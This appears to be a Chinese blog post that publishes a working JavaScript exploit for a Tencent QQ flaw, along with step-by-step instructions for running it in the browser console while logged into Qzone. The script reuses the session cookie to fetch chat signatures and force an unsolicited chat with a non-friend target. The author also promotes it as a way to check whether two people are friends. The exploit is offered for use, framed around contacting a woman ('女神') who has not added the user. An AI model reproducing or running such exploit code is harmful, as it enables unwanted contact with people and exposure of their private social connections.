首页 > 代码库 > 最新QQ强制聊天代码,同时可判断好友关系

最新QQ强制聊天代码,同时可判断好友关系

     QQ强聊虽然早就变成了一个传说,但现在依然可以实现。

     小菜其实早就知道这个漏洞,但是一直没公布,前两天突然来兴致试了试,没想到漏洞依然存在。

     然后小菜跑到了乌云漏洞报告平台举报漏洞,但没想到被腾讯鲁莽的否认了,他竟然说漏洞不存在,漏洞不存在,那些截图是怎么来的。。。小菜辛辛苦苦写的漏洞原理,就这么无情的被拒绝了。。。

     小菜很失望,既然腾讯这么不负责任,那小菜就把漏洞发出来。

     漏洞的具体原理,小菜已经在乌云上阐述了《腾讯QQ强制聊天漏洞》,十分的详细,在这不多说。

     为了让读者更方便的利用此漏洞,小菜写了一个js脚本,脚本如下

  1 (function(exports){  2   3   var chatVO = {  4     //你的QQ  5     yourQQ: "20737302",  6     //你好友的QQ  7     yourFQQ: "649374916",  8     //女神的QQ  9     targetQQ: "20618348", 10     //女神好友的QQ 11     targetFQQ: "649374916" 12   }; 13   var config = { 14     init: function(){ 15       var skey; 16       skey = getCookie("skey") || getCookie("rv2") || ""; 17       function getCookie(name){ 18         var r = new RegExp("(?:^|;+|\\s+)" + name + "=([^;]*)"), m = document.cookie.match(r); 19         return !m ? "" : m[1]; 20       } 21       function _DJB (str) { 22         var hash = 5381; 23         for (var i = 0, len = str.length; i < len; ++i) 24             hash += (hash << 5) + str.charCodeAt(i); 25         return hash & 2147483647 26       }; 27        28       this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey)); 29     }, 30     sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}", 31     chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}" 32   }; 33   var util = { 34     ajax: function(obj){ 35       var xmlHttp; 36        37       if(obj.async === undefined){ 38         obj.async = true; 39       } 40        41       if(window.XMLHttpRequest){ 42           xmlHttp = new XMLHttpRequest(); 43       }else{ 44           xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 45       } 46        47       xmlHttp.onreadystatechange=function(){ 48         obj.callback(xmlHttp); 49       }; 50       xmlHttp.open(obj.type,obj.url,obj.async); 51       xmlHttp.send(); 52     } 53   }; 54   var logic = { 55     getSigU: function (sender,receiver){ 56       var sigu = ""; 57       util.ajax({ 58         url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver), 59         type: "get", 60         async: false, 61         callback: function(xhr){ 62           if(xhr.readyState == 4){ 63             var html = xhr.responseText.replace(/[\n]/g,""); 64             if(/&SigU=/gmi.test(html)){ 65               sigu = html.split(/&SigU=/m)[1].split(/‘/m)[0]; 66             }else{ 67               alert("你和你的好友,好友关系不成立!"); 68             } 69           } 70         } 71       }); 72        73       return sigu; 74     }, 75     getSigT: function (sender,receiver){ 76       var sigt = ""; 77       util.ajax({ 78         url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver), 79         type: "get", 80         async: false, 81         callback: function(xhr){ 82           if(xhr.readyState == 4){ 83             var html = xhr.responseText.replace(/[\n]/g,""); 84             if(/&SigT=/gmi.test(html)){ 85               sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0]; 86             }else{ 87               alert("他和他的好友,好友关系不成立!"); 88             } 89           } 90         } 91       }); 92        93       return sigt; 94     }, 95     runChat: function (sender,sigu,sigt) { 96       exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu); 97     } 98   }; 99   100   config.init();101   102   var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ);103   var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ);104   105   logic.runChat(chatVO.targetQQ,sigu,sigt);106   107 })(this);
View Code

     这个脚本,您只需要关注最顶部的四个参数,

  •      yourQQ: "20737302",
  •      yourFQQ: "649374916",
  •      targetQQ: "20618348",
  •      targetFQQ: "649374916"

     这四个参数缺一不可,而且必须都正确,读者可根据自己的实际情况填写,主要就是女神好友的QQ可能不知道(任意一个好友即可),猜吧!

     假如您不知道女神好友的QQ,乱填一个,会提示好友关系不成立,顺便还可以用这个提示测试两个人是不是好友,很实用吧!

   测试的时候忽略了一个问题:女神好友的QQ(targetFQQ),作为中间人,不能随便填,必须同时是你们两个的好友才可以。。。抱歉!!

     接下来说说怎么运行这个脚本。

     首先要用浏览器打开你的QQ空间,最好使用火狐和谷歌浏览器,然后保持QQ空间是登录状态。

     然后在QQ空间的选项卡旁边新建一个选项卡,输入网址:http://r.qzone.qq.com,按回车转到,发现是一片空白,这就对了。

     在浏览器上按F12打开控制台,把脚本粘贴到控制台中,运行即可。

     为什么要这么做呢。。。登录QQ空间是为了拿到有效的cookie,否则没办法访问腾讯接口,而新建一个选项卡是为了避免跨域问题,同时又可以与登录的QQ空间共享cookie。

     其他就没什么了,快动手试试吧!